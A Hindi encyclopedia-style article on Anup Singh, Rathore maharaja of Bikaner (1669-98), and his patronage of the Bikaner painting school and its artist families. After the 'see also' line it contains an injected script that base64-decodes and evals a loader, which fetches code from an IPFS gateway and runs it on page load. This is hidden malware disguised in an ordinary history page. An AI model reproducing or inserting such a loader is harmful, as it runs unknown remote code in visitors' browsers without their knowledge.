अनूपसिंह

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अनूपसिंह राजस्थान के बीकानेर का राठौड़ शासक था। वह 1669 ई. में बीकानेर का महाराजा बना। मुग़ल बादशाह औरंगज़ेब ने दक्षिण में मराठों का दमन करने के लिए अनूपसिंह को भेजा था। अनूपसिंह द्वारा मराठों का दमन करने पर औरंगज़ेब ने उसे 'महाराजा' तथा 'माहिवभरातीव' की उपाधियाँ प्रदान कीं।[1]

चित्रकला प्रेमी

राजस्थान की प्रसिद्ध बीकानेर चित्रकला शैली का दूसरा मोड़ महाराजा अनूपसिंह के समय (1669-98 ई.) से प्रारंभ होता है, पर बीकानेर शैली की बीच की कड़ी भी कम महत्वपूर्ण नहीं रही। चित्रों की अनुपलब्धता के कारण इस समय के बारे में कुछ कह पाना कठिन है। सूरज सिंह के पुत्र अनूपसिंह के काल में जो चित्र तैयार हुए, उनमें विशुद्ध बीकानेरी शैली का दर्शन होता है। महाराजा अनूपसिंह वीर होने के साथ-साथ विद्वान् व संगीतज्ञ भी था। उसके दरबार में कई संगीतज्ञ और कई विद्वान् आश्रय पाते थे। उसके आश्रय में रहकर तत्कालीन चित्रकारों ने एक मौलिक किंतु स्थानीय परिमार्जित चित्रशैली को जन्म दिया। जहाँगीर और शाहजहाँ के समय में बीकानेर धराने का गहन संबंध रहा, जिससे कला और कलाकारों का आदान-प्रदान स्वभाविक था। सन 1606 ई. में नूर मुहम्मद के पुत्र शाह मुहम्मद का बनाया बीकानेर शैली का सर्वाधिक पुराना व्यक्ति चित्र है। संग्रहालयों एवं निजी संग्रह में बहुत से ऐसे चित्र हैं, जिनके माध्यम से इस समय के चित्रों का अध्ययन संभव है।

कलाकारों का आश्रयदाता

शाहजहाँ के समय में मुसव्बिरों की भरभार हो गई थी, अतः कलाकार आश्रय पाने के लिए अन्यत्र जाने लगे। औरंगज़ेब की अनुदार नीति के कारण मुग़ल दरबार से कला निष्कासित होकर राजस्थान की रियासतों में प्रश्रय पाने लगी। बीकानेर का प्रसिद्ध उस्ता परिवार, जो मुग़ल काल में लाहौर में केंद्रित था, वह औरंगज़ेब के समय में महाराजा कर्णसिंह और अनूपसिंह के दरबार में बीकानेर आ गया। बीकानेर शैली के चित्रों में कलाकार का नाम, उसके पिता का नाम और संवत उपलब्ध होता है। उस्ता असीर खाँ करणसिंह के समय (1650 ई.) में दिल्ली से बीकानेर आया और उत्तम चित्र बनाने लगा। महाराजा अनूपसिंह की साहित्य व कला में रुचि होने के कारण उन्होंने हमेशा दिल्ली और लाहौर के कलाकारों का सम्मान किया। वे चित्रकार मुग़ल शैली में पारंगत थे, पर बीकानेर आकर उन्होंने अनूपसिंह की रुचि के अनुसार हिन्दू कथाओं, संस्कृत, हिन्दी, राजस्थानी काव्यों को आधार बनाकर सैकड़ों चित्र बनाए, जो राजपूती सभ्यता और संस्कृति से मिश्रित होकर बीकानेर शैली के उत्कृष्ट चित्र कहलाए। महाराजा अनूपसिंह के समय में यह विकास विशेष दर्शनीय है। उनके दरबारी मुसब्विर रुक्नुद्दीन का इस दृष्टि से योगदान महत्वपूर्ण है। उसने सैकड़ों चित्र बनाए। केशव की रसिकप्रिया तथा बारहमासा के चित्र इस दृष्टि से महत्वपूर्ण हैं। उसका पूरा परिवार बीकानेर की कला के लिए समर्पित हो गया। उसके बेटे साहबदीन ने भागवत पुराण के चित्र बनाये तथा उसके पोते कायम ने 18वीं सदी के प्रारंभ में बीकानेर शैली का चित्रण किया।

बीकानेर शैली की चर्मोत्कर्षता

महाराजा अनूपसिंह के समय में भथेरण परिवार के मुन्नालाल, मुकून्द, चन्दूलाल आदि ने भी बीकानेर शैली के विकास में विशेष योगदान दिया। भथेरण परिवार तथा उस्ता परिवार के कलाकारों के कला-प्रेमी राजा अनूपसिंह के युग में बीकानेर शैली को चर्मोत्कर्ष पर पहुंचा दिया, जिसके सचित्र-ग्रंथ तथा लघुचित्र राष्ट्रीय संग्रहालय, नई दिल्ली, बड़ौदा संग्रहालय तथा महाराजा बीकानेर कर्णसिंह के निजी संग्रह में आज भी उपलब्ध हैं।


इन्हें भी देखें: बीकानेर की चित्रकला<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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टीका टिप्पणी और संदर्भ

  1. बीकानेर के राठौड़ (हिन्दी) historicalsaga.com। अभिगमन तिथि: 01 मार्च, 2017।

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